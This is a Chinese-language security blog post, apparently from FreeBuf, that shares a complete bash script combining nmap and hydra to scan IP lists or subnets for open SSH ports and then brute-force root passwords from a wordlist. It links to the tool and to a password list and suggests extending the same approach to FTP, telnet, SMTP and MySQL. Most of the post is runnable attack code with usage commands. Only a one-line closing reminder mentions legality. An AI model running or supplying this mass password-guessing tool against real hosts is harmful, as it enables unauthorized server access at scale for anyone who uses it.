一记组合拳,批量SSH弱密码爆破检测工具分享

前言

SSH登录密码的破解工具已然有许多,但偶尔还是存在不能满足任务需求的情况。比如,批量地对IP列表里的IP地址进行SSH登录破解,现有的工具直接使用起来总觉得不方便。那么,能否利用现有的工具,来定制打造适合自己的装备?当然可以,而且,这是想要偷懒的宝宝们需要掌握的一项技能。

正文

批量爆破SSH登录密码的流程其实很简单。首先探测对方主机是否开启22端口,如开启,则尝试进行SSH密码爆破。这里用到两款强大的开源工具。一个是nmap,用来探测22端口是否开启;另一个是hydra,用来爆破SSH登录密码。这两款工具我不做过多的介绍,它们的强大,Google一下,自有体会。那么如何将这两款工具结合到一起使用,笔者这里通过选用的是灵活的shell脚本。

如上图所示,过程分为两步,首先用nmap批量地扫描开放22端口的公网上的设备,运行命令如下:

nmap -vv -n –sS -sU -p22 -iL ./iplist.txt  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt

这条命令的含义是,扫描iplist.txt文件中的IP地址是否开启22端口;如开启,则将这个结果输出到22-output.txt文件中。这条命令还可以这样写:

nmap -vv -n –sS -sU -p22 192.168.1.0/24  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt

这是对一个网段的扫描,也可以换成一个IP。-sS和-sU都是扫描策略的选项,两个一起使用,可以提高扫描的可靠性。在实际测试过程中(内网环境),nmap还是存在漏扫的情况,想要提高它的准确率,还需自己不断尝试,不断调整扫描策略才会有感觉。

第二步为,读取22-output.txt文件中开放22端口的主机,使用hydra工具进行密码爆破,使用的命令如下:

hydra -l root -P ./password.txt -t 6 -vV 192.168.0.12 ssh | grep "host:"

这条命令的含义是采用密码本./password.txt中的密码,对IP地址为:192.168.0.12的主机进行密码破解。grep “host:”用来过滤打印的输出,只输出破解到密码的条目。由于hydra一次只能对一个IP进行破解,因此,在shell中写了一个循环,hydra一次任务结束后,立即进行下一个IP的破解,直到将22-output.txt文件中IP遍历完为止。代码如下所示。

cat ./22-output.txt | while read line
do 
    echo "Current Task: ${line}"
    hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:" 
done

遍历代码很简单,不用惊讶,这就是shell脚本的神奇之处。主要步骤讲完后,下面来看看整个代码,看如何用shell程序将这些串起来。

#!/bin/bash

if [ $# -lt 4 ] 
then
   echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt"
   echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24"
   exit 1
fi

while [ -n "$1" ]  
do  
  case "$1" in    
    -p)  
        passfile=$2
        #echo $passfile 
        shift  
        ;;  
    -f)  
        nmap -vv -n -sS -sU -p22 -iL $2  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
        shift  
        ;;  
    -l)  
        nmap -vv -n -sS -sU -p22 $2  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt 
        shift  
        ;; 
    *)  
        echo "$1 is not an option"  
        echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt"
        echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24"
        exit 1
        ;;  
  esac  
  shift  
done

echo "-----------port scan finished-----------"

chmod 666 ./22-output.txt

#echo `cat ./22-output.txt` 

cat ./22-output.txt | while read line
do 
    echo "Current Task: ${line}"
    hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:"
done

echo "-------password guessing finished-------"

这个程序做了一些参数传递的判断,核心代码行十分精简。在使用程序之前,需得在主机上安装nmap和hydra,Ubuntu下直接用apt安装。运行很方便,下面是运行图,在内网环境下破解了3台主机的密码:

当然,能否破解成功,有一个好用的工具固然重要,但还需要一个强健的密码本。在为密码本烦恼的宝宝们,也不用担心,已经有人总结好最常用的密码条目。见这里[传送门]

工具传送门为:https://github.com/scu-igroup/ssh-scanner

总结

通过对该工具的介绍,聪明的你可以举一反三,改造成对任意服务的批量口令爆破(前提是只要hydra支持就行,包括:FTP,telnet,SMTP,POP3,MySQL等等)。下次有渗透测试地批量扫描任务,就可以一键搞定啦。 最后,提醒一句,公网上谨慎扫描,一切行为需合规合法。

*本文作者:scu-igroup,转载请注明来自FreeBuf.COM

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-05-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏java达人

JWT VS Session

作者:Prosper Otemuyiwa 译者:java达人 来源:https://ponyfoo.com/articles/json-web-tokens-...

47560
来自专栏大内老A

[WCF安全系列]认证与凭证:用户名/密码认证与Windows认证

如果要给认证下一个定义,我个人的倾向这样的定义:认证是确定被认证方的真实身份和他或她申明(Claim)的身份是否相符的行为。认证方需要被认证方提供相应的身份证明...

27170
来自专栏黑白安全

跨站点脚本(XSS)攻击

跨站点脚本(XSS)是一种常见的攻击媒介,可将恶意代码注入易受攻击的Web应用程序。XSS不同于其他网络攻击媒介(例如SQL注入),因为它不直接针对应用程序本身...

11210
来自专栏FreeBuf

针对近期“博全球眼球的OAuth漏洞”的分析与防范建议

据Cnet报道,新加坡南洋理工大学一位名叫Wang Jing的博士生,发现了OAuth和OpenID开源登录工具的“隐蔽重定向”漏洞(Covert Redire...

220100
来自专栏FreeBuf

谈谈渗透测试中的信息搜集

最近找了一份安全实习,每天对着目标站点进行渗透测试。渗透测试的第一步是信息搜集,那么你的信息搜集完整性决定了你渗透测试的结果,”知己知彼,百战不殆”,在此,我分...

31820
来自专栏安恒信息

安全研究员发现了多个IP地址利用已修复的PHP漏洞劫持Linux服务器

华盛顿大学的安全研究员Andre'DiMino注意到了多个IP地址试图利用一个已修复PHP漏洞劫持Linux服务器,他很好奇攻击者如何成功控制一台Linux服务...

382120
来自专栏FreeBuf

SamSam:一款难以追踪的分布式控制软件

在对近期样本的分析过程中,研究人员发现这款勒索软件的Payload一直都是在运行时解密的,这也是这款勒索软件最显著的特点,这种加密Payload机制也表明了为何...

13200
来自专栏FreeBuf

结合中间人攻击,Pidgin鸡肋漏洞变废为宝

最新版本的开源即时通讯客户端Pidgin 2.10.10这段时间修复了一系列漏洞,其中的SSL/TLS证书验证问题可以被黑客利用来进行中间人攻击。如此一来,某些...

22380
来自专栏FreeBuf

改造Nginx,让邮件系统也支持双因子验证

起 因 最近在研究双因子认证的时候突然想到:能不能在邮件系统中应用双因子验证呢?作为一个有了想法就想落地的四有好少年,我决定试试。 受制于文化程...

46690
来自专栏FreeBuf

绕过WiFi验证:四招教你免费使用WiFi

如今越来越多的商场、咖啡店、饭店等公共场所都提供了开放的WiFi网络。不过有时即便我们的设备连上了WiFi,当随便打开一个网页就会立即弹出身份验证页面……是不是...

74770

扫码关注云+社区

领取腾讯云代金券